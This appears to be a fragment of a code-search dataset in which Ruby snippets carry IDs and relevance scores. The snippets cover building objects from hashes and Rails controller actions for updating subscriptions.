"docid": "f5e73f403c390cef1cd3b5476e41a290",
"score": "0.6420652",
"text": "def build(hash_or_hashes)\n if hash_or_hashes\n if hash_or_hashes.is_a? Array\n hash_or_hashes.flatten.inject([]) do |list, hash|\n type = hash[type_desc] || self.to_s.split('::').last\n cls = resolve(type)\n list << cls.new(hash) if cls\n list\n end\n else\n type = hash_or_hashes[type_desc] || self.to_s.split('::').last\n cls = resolve(type)\n cls.new(hash_or_hashes) if cls\n end\n end\n end",
"title": ""
},
{
"docid": "8820271f1dbb47bb95e7ec6e0d798558",
"score": "0.6419157",
"text": "def from_hash(hsh)\n if hsh.class != Hash\n raise ArgumentError, \"Provided argument must be a hash.\"\n end\n @raw=hsh\n end",
"title": ""
},
{
"docid": "64f5fc5514c1b1082176c4ac6b1ae068",
"score": "0.6394137",
"text": "def initialize(hash={})\n @fields = []\n self << hash\n end",
"title": ""
},
{
"docid": "e4ce931a3b8315efe360ec5d704c490e",
"score": "0.6391029",
"text": "def create_from_hash hash\n values = values_from_hash hash\n # $stderr.puts \" ContentModel#create_from_hash #{self} #{hash.inspect} => #{values.inspect}\"\n ModelCache.cache_for self, :create_from_hash, values do\n self.transaction do\n unless obj = find(:first, :conditions => values)\n return nil if values[:id]\n obj = create!(values)\n raise ArgumentError, \"#{self} #{obj.errors.to_s}\" unless obj.errors.empty?\n end\n obj\n end\n end\n end",
"title": ""
},
{
"docid": "2fea6e5b4080af86ad218509cc291055",
"score": "0.6382013",
"text": "def init_from_hash(hash)\n byte_arr = Nfc.convert_NdeRecord_hash_to_byte_array(hash)\n init_from_byte_array(byte_arr)\n end",
"title": ""
},
{
"docid": "17c87a6b9a47b7cc618286144127e7c4",
"score": "0.6369868",
"text": "def initialize(hsh)\n @hash = hsh\n end",
"title": ""
},
{
"docid": "17c87a6b9a47b7cc618286144127e7c4",
"score": "0.6369868",
"text": "def initialize(hsh)\n @hash = hsh\n end",
"title": ""
},
{
"docid": "17c87a6b9a47b7cc618286144127e7c4",
"score": "0.6369868",
"text": "def initialize(hsh)\n @hash = hsh\n end",
"title": ""
},
{
"docid": "17c87a6b9a47b7cc618286144127e7c4",
"score": "0.6369868",
"text": "def initialize(hsh)\n @hash = hsh\n end",
"title": ""
},
{
"docid": "3e7725a00560df693a0d6d89e0f73e78",
"score": "0.635434",
"text": "def build_dict(dict)\n \n end",
"title": ""
},
{
"docid": "ee715cfc0434ad9bccda0140a3d9dc4c",
"score": "0.6349711",
"text": "def initialize(h)\n @attributes = h\n h.each do |k,v|\n next unless respond_to?(\"#{k}=\")\n vv = v\n if v.is_a? Hash\n vv = OpenStruct.new v\n end\n send(\"#{k}=\",vv)\n end\n end",
"title": ""
},
{
"docid": "ba64ab947196c9053bd9b7361a9fecdc",
"score": "0.6341318",
"text": "def from_hash(hash)\n new(hash[\"source\"],\n hash[\"oid\"],\n QualifiedName.new(hash[\"nschema\"].to_s, hash[\"name\"].to_s),\n hash[\"strict\"] == \"t\",\n hash[\"secdef\"] == \"t\",\n hash[\"setof\"] == \"t\",\n QualifiedType.parse(hash[\"tschema\"].to_s, hash[\"type\"].to_s),\n volatility(hash[\"volatility\"]),\n coalesce(hash[\"arg_modes\"].to_s.split(\",\").map{|x| mode(x.strip) },\n [\"in\"]*hash[\"arg_count\"].to_i),\n hash[\"arg_names\"].to_s.split(\",\").map{|x| QualifiedName.new(nil, x.strip) },\n hash[\"arg_types\"].to_s.split(\",\").map{|x| QualifiedType.parse(x.strip) },\n defaults(hash[\"arg_defaults\"],\n hash[\"arg_defaults_count\"].to_i,\n hash[\"arg_count\"].to_i))\n end",
"title": ""
},
{
"docid": "d6f33ca8ec4334eddc3996a0a74814d9",
"score": "0.63368124",
"text": "def initialize(hash=nil)\n @store = Storage.new( symbol_hash(hash || {}) )\n @inner_hash = @store.octothorpe_store\n end",
"title": ""
},
{
"docid": "336fbe1849d249e64cfacb4d14f467b7",
"score": "0.6336494",
"text": "def initialize(hash = nil)\n @_hash = hash \n end",
"title": ""
},
{
"docid": "33a79ed1316f6ba3f15af67be7bc0b3a",
"score": "0.6317182",
"text": "def from_hash(hsh)\n hsh = hsh.symbolize_keys\n new hsh[:startDate], hsh[:endDate]\n end",
"title": ""
},
{
"docid": "09cf4b3c75df015dfa153ad5084bfca6",
"score": "0.6307881",
"text": "def from_hash hash\n @id= hash['id']\n\n @task_id= hash['task_id']\n @status= hash['status']\n @started_at= DateTime.parse(hash['started_at'])\n @duration= hash['duration']\n @response= hash['response']\n end",
"title": ""
},
{
"docid": "11fe33f64586d0db47bb136661382e2f",
"score": "0.62932116",
"text": "def build(hash)\n extras_result = hash.get('get_extras_response.get_extras_result')\n\n security_deposit_hash = find_security_deposit_extra(extras_result)\n\n if security_deposit_hash\n map_security_deposit_extra(security_deposit_hash)\n end\n end",
"title": ""
},
{
"docid": "d9210d7c1788cca764da5f2c01936382",
"score": "0.62888104",
"text": "def initialize(hash = {})\n load_hash(hash)\n end",
"title": ""
},
{
"docid": "63cf491e6de096bd5335308b0fc9ffa8",
"score": "0.62884283",
"text": "def build_dict(dict)\r\n \r\n end",
"title": ""
},
{
"docid": "ccca437f0aaa4fb9095c3a5a3326f6cc",
"score": "0.62817013",
"text": "def initialize(hash)\n @id = hash[\"personId\"]\n @date_of_birth = hash[\"dateOfBirth\"]\n @gender = hash[\"gender\"]\n @first_name = hash[\"firstName\"]\n @last_name = hash[\"lastName\"]\n @email = hash[\"email\"]\n @publication_status = hash[\"publicationStatus\"]\n @username = hash[\"username\"]\n @employee = hash[\"employee\"]\n @affiliated = hash[\"affiliated\"]\n @student = hash[\"student\"]\n end",
"title": ""
},
{
"docid": "aa869a5ad83edbff1225e31be0c50d30",
"score": "0.62794197",
"text": "def from_hash(value)\n self.grid = value[:grid] if value[:grid]\n self.chains = value[:chains] if value[:chains]\n self.enclosures = value[:enclosures] if value[:enclosures]\n self.white_capture_count = value[:white_capture_count] if value[:white_capture_count]\n self.black_capture_count = value[:black_capture_count] if value[:black_capture_count]\n end",
"title": ""
},
{
"docid": "f72793c1a0db6ac482cf9b2d7ee811ee",
"score": "0.6274977",
"text": "def initialize(hash = {})\n super(hash)\n\n @action = extract_value(hash, :action)\n @accessToken = extract_value(hash, :accessToken)\n @accessTokenExpiresAt = extract_integer_value(hash, :accessTokenExpiresAt)\n @properties = extract_array_value(hash, :scopes) do |element|\n Authlete::Model::Property.parse(element)\n end\n @scopes = extract_value(hash, :scopes)\n end",
"title": ""
},
{
"docid": "65dff1f1d61a989af2d17ec62a30f13d",
"score": "0.62674105",
"text": "def initialize(key,hash)\n @key = key\n @value = hash\n self.put(key,hash)\n end",
"title": ""
},
{
"docid": "dd46c8a6752e5850e57b2ff17485a8b5",
"score": "0.6264606",
"text": "def initialize(hash = {})\n @creatable = extract_boolean_value(hash, :creatable)\n @count = extract_integer_value(hash, :count)\n @limit = extract_integer_value(hash, :limit)\n @plan = extract_value(hash, :plan)\n end",
"title": ""
},
{
"docid": "4b652fa08afc92992ef45e8352f4246b",
"score": "0.626038",
"text": "def initialize(hash = {})\n super(hash)\n\n @action = extract_value(hash, :action)\n @responseContent = extract_value(hash, :responseContent)\n @password = extract_value(hash, :password)\n @ticket = extract_value(hash, :ticket)\n @username = extract_value(hash, :username)\n end",
"title": ""
},
{
"docid": "a25b44debcd2688fc2ad76ca2440dc34",
"score": "0.62576336",
"text": "def initialize hash\n @hash = hash\n\n # todo: extract into module, maybe inside Erector\n @hash.each do |k, value|\n var_name = k.snake_case.to_sym\n instance_variable_set \"@#{var_name}\", value\n end\n \n @user_id = @user_ids.first if @user_ids\n @profile_id = @profile_ids.first if @profile_ids\n end",
"title": ""
},
{
"docid": "3a93184236acdac9f0009447de05a2c6",
"score": "0.6252401",
"text": "def init_from_hash(val)\n clear\n val.each do |sym, value|\n raise NoMethodError unless self.members.member?(sym)\n if self[sym].is_a?(FFI::Struct)\n self[sym] = self[sym].class.new\n self[sym].init_from_hash(value)\n else\n self[sym] = value\n end\n end\n end",
"title": ""
},
{
"docid": "44efb9947ee65e8b20979ffadd3a0854",
"score": "0.62503445",
"text": "def initialize(hash={})\n update_from_json(hash)\n end",
"title": ""
},
{
"docid": "2d73d781add5a13c65442a8f42447c40",
"score": "0.62461793",
"text": "def new(hash)\n check_id(hash)\n proxy = @klass.new(hash[:rod_id],@type,@client,@collection_proxy_factory)\n @metadata.fields.each do |field|\n check_field(hash,field)\n proxy.instance_variable_set(\"@#{field.symbolic_name}\",hash[field.symbolic_name])\n end\n @metadata.singular_associations.each do |association|\n check_association(hash,association)\n proxy.instance_variable_set(association_variable_name(association),hash[association.symbolic_name])\n end\n @metadata.plural_associations.each do |association|\n check_association(hash,association)\n proxy.instance_variable_set(count_variable_name(association),hash[association.symbolic_name][:count])\n end\n proxy\n end",
"title": ""
},
{
"docid": "c7b36c4cf47254ff691242b0282d62e8",
"score": "0.6243461",
"text": "def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"title": ""
},
{
"docid": "c7b36c4cf47254ff691242b0282d62e8",
"score": "0.6243461",
"text": "def from_hash(hash)\n struct = SparkleStruct.new\n struct._camel_keys_set(:auto_discovery)\n struct._load(hash)\n struct._camel_keys_set(nil)\n struct\n end",
"title": ""
},
{
"docid": "3df64a5d51ac9c929160272bb7d46e93",
"score": "0.6243327",
"text": "def initialize(hash={})\n self.attributes = hash\n end",
"title": ""
},
{
"docid": "7297c1deaf07558dd6750d5b2705635a",
"score": "0.6222301",
"text": "def from_hash hash\n hash.each_pair do |key, value|\n if(self.respond_to?(key))\n self.send \"#{key}=\", value\n end\n end\n end",
"title": ""
},
{
"docid": "5446368e5b6e59037ebc089dbdd076bf",
"score": "0.6220489",
"text": "def initialize( hash = {}, sorted = 0 )\n @hash = hash\n @sorted = sorted\n end",
"title": ""
},
{
"docid": "631d5266c4f9b3db671a6bd935d27611",
"score": "0.62185115",
"text": "def initialize (hash = nil)\n @struct = Hash.new\n @struct = hash if hash.is_a? Hash\n end",
"title": ""
}
] |
3562eca541cfb4a610e4e0fff565607c
|
PUT /subscriptions/1 PUT /subscriptions/1.json
|
[
{
"docid": "df5afc2d3de86efe8ecca0a4bb9aa7f0",
"score": "0.69446677",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "14458856ea03e1d6eae93ecbabdbb7d7",
"score": "0.7331192",
"text": "def update\n @subscription = Subscription.get(params[:id])\n @subscription.update(params[:subscription])\n respond_with(@subscription.reload)\n end",
"title": ""
},
{
"docid": "22587dbfce45333a597b8fd5df71e39f",
"score": "0.728081",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n if @subscription.update(subscription_params)\n head :no_content\n else\n render json: @subscription.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "851ebdd87b0102b3a8da908dbb699828",
"score": "0.7259123",
"text": "def create / update_subscriptions\n end",
"title": ""
},
{
"docid": "b726f0336edfefc6097db7186b499190",
"score": "0.71204245",
"text": "def update\n @subscription = current_user.subscriptions.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c63f316857f52e08412ddd1277f03e6a",
"score": "0.7049035",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription.owner, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0860441ec1a8fb7f9049aebe7a7f0ad3",
"score": "0.6968238",
"text": "def update\n \n # TODO: Modify subscription (refund remainder of current, prorate new)\n \n respond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to subscriptions_url, success: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n format.js { redirect_to subscriptions_url, :format => :html, success: 'Subscription was successfully updated.' }\n else\n format.html { render action: 'edit' }\n format.js { render action: 'edit' }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "956152a937a611bd4b2cc46c7fc224a4",
"score": "0.6952513",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n flash[:success] = \"Subscription was successfully updated.\"\n format.html { redirect_to @subscription }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c83208e0d76681d2af00d668576e1277",
"score": "0.6859357",
"text": "def update_webhook_subscription(id,opts={})\n query_param_keys = [\n \n\n ]\n\n form_param_keys = [\n \n\n ]\n\n # verify existence of params\n raise \"id is required\" if id.nil?\n # set default values and merge with input\n options = underscored_merge_opts(opts,\n :id => id\n\n )\n\n # resource path\n path = path_replace(\"/lti/subscriptions/{id}\",\n :id => id)\n headers = nil\n form_params = select_params(options, form_param_keys)\n query_params = select_query_params(options, query_param_keys)\n\n response = mixed_request(:put, path, query_params, form_params, headers)\n response\n \n\n end",
"title": ""
},
{
"docid": "5b3d269f9b8987e2361b58f5ec42feb1",
"score": "0.6845173",
"text": "def update\n respond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to @subscription, notice: (I18n.t :subscription_updated) }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f8cd6908f117ab05b555159928054421",
"score": "0.683705",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription.layer, notice: 'Subscription updated OK' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fccfe2c3c4dff48dc84a0be1825061a4",
"score": "0.682038",
"text": "def update\n respond_to do |format|\n if @api_subscription.update(api_subscription_params)\n format.html { redirect_to @api_subscription, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_subscription }\n else\n format.html { render :edit }\n format.json { render json: @api_subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3aa4fe342ad621d3eac9f019ecf067ab",
"score": "0.6808385",
"text": "def update\r\n @subscription = Subscription.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @subscription.update_attributes(subscription_params)\r\n format.html { redirect_to business_user_subscriptions_path, notice: 'Subscription was successfully updated.' }\r\n format.json { head :ok }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "600ff939e0af515511f310fb701ce6ba",
"score": "0.67984736",
"text": "def create\n s_params = params[:subscription]\n s_params.delete(:id)\n @subscription = Subscription.new(s_params)\n @subscription.save\n respond_with(@subscription)\n end",
"title": ""
},
{
"docid": "a9fcd664e60bed532618a88ed14aa206",
"score": "0.679727",
"text": "def update\n respond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9fcd664e60bed532618a88ed14aa206",
"score": "0.679727",
"text": "def update\n respond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "04031077de672678431e0827585cb11c",
"score": "0.6749012",
"text": "def update\n @subscription = Subscription.by_user_channel_ids(current_user.id, params[:channel_id])\n\n respond_to do |format|\n if @subscription and @subscription.update_attributes(params[:subscription])\n @channel = Channel.find(params[:channel_id])\n format.html { redirect_to @subscription, notice: I18n.t('subscription_updated') }\n format.json { render json: { name: @channel.subscription_name(current_user) }, status: :ok}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8a914c8d0dcbb8249c5a08eb92a1460d",
"score": "0.6736969",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "8a914c8d0dcbb8249c5a08eb92a1460d",
"score": "0.6736969",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "8a914c8d0dcbb8249c5a08eb92a1460d",
"score": "0.6736969",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "481052b5433527c276a9b1c6655496dc",
"score": "0.67302144",
"text": "def update_subscription(subscription_id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/subscriptions/{subscription_id}',\n 'default')\n .template_param(new_parameter(subscription_id, key: 'subscription_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"title": ""
},
{
"docid": "49b33eeb6b6cb311869d50c13bdb2c5f",
"score": "0.67167556",
"text": "def update\n @subscription = Subscription.find(params[:id])\n \n respond_to do |format|\n \n \n if @subscription.update_attributes(params[:subscription])\n flash[:notice] = 'Subscription was successfully updated.'\n format.html { redirect_to(@subscription) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "082fffbb33bfeaef43ef8e689b345fb6",
"score": "0.66987175",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to campaign_subscriptions_path(@campaign), :notice => 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "75dcb71d5f55b912d94243ed70e9d454",
"score": "0.6693887",
"text": "def create\n@subscription = current_user.subscriptions.build(subscription_params)\n\nrespond_to do |format|\n if @subscription.save\n\n format.html { redirect_to users_profile_url(current_user.id), notice: 'Your pet was successfully created.' }\n format.json { render :show, status: :created, location: @subscription }\n else\n format.html { render :new }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n\nend\n\n# PATCH/PUT /subscriptions/1\n# PATCH/PUT /subscriptions/1.json\ndef update\nrespond_to do |format|\n if @subscription.update(subscription_params)\n format.html { redirect_to users_profile_url(current_user.id), notice: 'Your pet was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\nend\nend\n\n# DELETE /subscriptions/1\n# DELETE /subscriptions/1.json\ndef destroy\n@subscription.destroy\nrespond_to do |format|\n format.html { redirect_to :back, notice: 'Your pet was successfully destroyed.' }\n format.json { head :no_content }\nend\n\nprivate\n# Use callbacks to share common setup or constraints between actions.\ndef set_subscription\n @subscription = Subscription.find(params[:id])\nend\n\n# Never trust parameters from the scary internet, only allow the white list through.\ndef subscription_params\n params.require(:subscription).permit(:title, :company, :url, :start_time, :end_time, :phone_number, :time, :pet_name, :breed, :animal, :notes, :pet_image, :option_1, :option_2, :gender)\nend\n\ndef correct_user\n @subscriptions = current_user.subscriptions.find_by(id: params[:id])\n redirect_to users_profile_url, notice: \"Not authorized to edit this pet\" if @subscription.nil?\nend\n\nend\nend",
"title": ""
},
{
"docid": "09e3dbc604567613d4186bc88a57e0b0",
"score": "0.6692035",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to(subscriptions_url, :notice => 'Subscription was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ffc409f94220239b64457e5f4aa17f2",
"score": "0.66850585",
"text": "def update\n respond_to do |format|\n if @subscription.update_with_author(subscription_params, current_user)\n record_activity :update, @subscription\n format.html { redirect_to @subscription, notice: 'Subscription was successfully updated.' }\n format.json { render :show, status: :ok, location: @subscription }\n else\n format.html { render :edit }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "82cae01f901a970ce84651bc8099c32b",
"score": "0.66767454",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n flash[:notice] = 'Subscription was successfully updated.'\n format.html { redirect_to(@subscription) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7adc14bfd9a9feec9295ea89777d7493",
"score": "0.66606545",
"text": "def update\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to @subscription.transaction, notice: 'Subscription was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5eb829680fe40fc92d4be7d413f2366d",
"score": "0.6659683",
"text": "def update\n\t\t@subscription = Subscription.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tif @subscription.update_attributes(params[:subscription])\n\t\t\t\tflash[:notice] = 'Subscription was successfully updated.'\n\t\t\t\tshow_\n\t\t\t\tformat.html { render :action => \"show\" }\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\t@ingroups = Group.all\n\t\t\t\t@inprojects = Project.all\n\t\t\t\t@fortypesobjects=Typesobject.get_from_observer\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "9e3fedc1c4668cf82f49aee0de7c2c85",
"score": "0.66569155",
"text": "def edit_subscription(subscription_id, payload)\n put(url_(\"subscription\", subscription_id), payload)\n end",
"title": ""
},
{
"docid": "675b899f5e500c51b758c464a518db7e",
"score": "0.66539",
"text": "def update\n @subscription = Subscription.find(params[:id])\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to(@subscription, :notice => 'Subscription was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b728146f3f7de545f64d52cd9d32ec4a",
"score": "0.6628703",
"text": "def update\n if session[:user_id] \n @subscription = Subscription.find(params[:id])\n \n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to(@subscription, :notice => 'Subscription was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "6ae501e393652f3a4a4ef5a28fbf90e9",
"score": "0.6627203",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "7aab718ae49074f41b0407ebe4598a0f",
"score": "0.6619912",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\nend",
"title": ""
},
{
"docid": "7aab718ae49074f41b0407ebe4598a0f",
"score": "0.6619912",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\nend",
"title": ""
},
{
"docid": "656ff235570e9309a79c5b39ced15c75",
"score": "0.65902746",
"text": "def update\n @subscription.assign_attributes(subscription_params)\n respond_to do |format|\n if @subscription.save\n format.html { redirect_to @subscription, notice: t('controller.successfully_updated', model: t('activerecord.models.subscription')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subscription.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c2a06821203d7dff532f2f880aa3c71d",
"score": "0.65773684",
"text": "def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end",
"title": ""
},
{
"docid": "c2a06821203d7dff532f2f880aa3c71d",
"score": "0.65764165",
"text": "def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end",
"title": ""
},
{
"docid": "c2a06821203d7dff532f2f880aa3c71d",
"score": "0.65764165",
"text": "def update!(**args)\n @subscription = args[:subscription] if args.key?(:subscription)\n end",
"title": ""
},
{
"docid": "2db5bd5a04ecd80f906ce18bb373ea12",
"score": "0.6554046",
"text": "def update\n @subscription = Subscription.find(params[:id])\n auth!\n\n respond_to do |format|\n if @subscription.update_attributes(params[:subscription])\n format.html { redirect_to(manage_screen_field_subscriptions_path(@screen, @field), :notice => t(:subscription_updated)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subscription.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5eac9836ff78b6cb0093b7a18aec978a",
"score": "0.6488323",
"text": "def update_subscriptions(email, attrs = {})\n attrs['email'] = email\n Iterable.request(conf, '/users/updateSubscriptions').post(attrs)\n end",
"title": ""
},
{
"docid": "51c078050a4a82f57474ab56abac7a2b",
"score": "0.64198023",
"text": "def set_subscription\n @subscription = Subscription.find(params[:id])\n end",
"title": ""
},
{
"docid": "51e28495139ac5c2db7850550c7a562f",
"score": "0.6418596",
"text": "def update_subscription(subscription_id:,\n body:)\n # Prepare query url.\n _query_builder = config.get_base_uri\n _query_builder << '/v2/subscriptions/{subscription_id}'\n _query_builder = APIHelper.append_url_with_template_parameters(\n _query_builder,\n 'subscription_id' => { 'value' => subscription_id, 'encode' => true }\n )\n _query_url = APIHelper.clean_url _query_builder\n\n # Prepare headers.\n _headers = {\n 'accept' => 'application/json',\n 'content-type' => 'application/json; charset=utf-8'\n }\n\n # Prepare and execute HttpRequest.\n _request = config.http_client.put(\n _query_url,\n headers: _headers,\n parameters: body.to_json\n )\n OAuth2.apply(config, _request)\n _response = execute_request(_request)\n\n # Return appropriate response type.\n decoded = APIHelper.json_deserialize(_response.raw_body)\n _errors = APIHelper.map_response(decoded, ['errors'])\n ApiResponse.new(\n _response, data: decoded, errors: _errors\n )\n end",
"title": ""
},
{
"docid": "d0fe1568c80592e60e75bf9bd414be71",
"score": "0.64072824",
